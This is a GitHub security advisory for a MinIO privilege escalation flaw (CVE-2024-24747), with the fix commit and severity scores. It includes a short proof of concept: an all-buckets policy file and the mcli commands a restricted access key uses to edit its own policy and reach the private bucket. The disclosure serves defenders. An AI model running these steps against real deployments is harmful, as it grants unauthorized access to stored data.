Skip to content

Minio unsafe default: Access keys inherit `admin` of root user, allowing privilege escalation

High severity GitHub Reviewed Published Jan 31, 2024 in minio/minio • Updated Feb 1, 2024

Package

gomod github.com/minio/minio (Go)

Affected versions

< 0.0.0-20240131185645-0ae4915a9391

Patched versions

0.0.0-20240131185645-0ae4915a9391

Description

Summary

When someone creates an access key, it inherits the permissions of the parent key. Not only for
s3:* actions, but also admin:* actions. Which means unless somewhere above in the
access-key hierarchy, the admin rights are denied, access keys will be able to simply
override their own s3 permissions to something more permissive.

Credit to @xSke for sort of accidentally discovering this. I only understood the implications.

Details / PoC

We spun up the latest version of minio in a docker container and signed in to the admin UI
using the minio root user. We created two buckets, public and private and created an
access key called mycat and attached the following policy to only allow access to the
bucket called public.

{
 "Version": "2012-10-17",
 "Statement": [
  {
   "Effect": "Allow",
   "Action": [
    "s3:*"
   ],
   "Resource": [
    "arn:aws:s3:::public",
    "arn:aws:s3:::public/*"
   ]
  }
 ]
}

We then set an alias in mc: mcli alias set vuln http://localhost:9001 mycat mycatiscute

And checked whether policy works:

A ~/c/minio-vuln mcli ls vuln
[0001-01-01 00:53:28 LMT]     0B public/

Looks good, we believe this is how 99% of users will work with access policies.

If I now create a file full-access-policy.json:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": [
        "s3:*"
      ],
      "Resource": [
        "arn:aws:s3:::*"
      ]
    }
  ]
}

And then:

A ~/c/minio-vuln mcli admin user svcacct edit --policy full-access-policy.json vuln mycat
Edited service account `mycat` successfully.

mycat has escalated its privileges to get access to the entire deployment:

A ~/c/minio-vuln mcli ls vuln
[0001-01-01 00:53:28 LMT]     0B private/
[0001-01-01 00:53:28 LMT]     0B public/

Impact

A trivial privilege escalation unless the operator fully understands that they need to
explicitly deny admin actions on access keys.

Patched

commit 0ae4915a9391ef4b3ec80f5fcdcf24ee6884e776 (HEAD -> master, origin/master)
Author: Aditya Manthramurthy <[email protected]>
Date:   Wed Jan 31 10:56:45 2024 -0800

    fix: permission checks for editing access keys (#18928)
    
    With this change, only a user with `UpdateServiceAccountAdminAction`
    permission is able to edit access keys.
    
    We would like to let a user edit their own access keys, however the
    feature needs to be re-designed for better security and integration with
    external systems like AD/LDAP and OpenID.
    
    This change prevents privilege escalation via service accounts.

References

@harshavardhana harshavardhana published to minio/minio Jan 31, 2024
Published by the National Vulnerability Database Jan 31, 2024
Published to the GitHub Advisory Database Feb 1, 2024
Reviewed Feb 1, 2024
Last updated Feb 1, 2024

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

EPSS score

0.209%
(60th percentile)

Weaknesses

CVE ID

CVE-2024-24747

GHSA ID

GHSA-xx8w-mq23-29g4

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.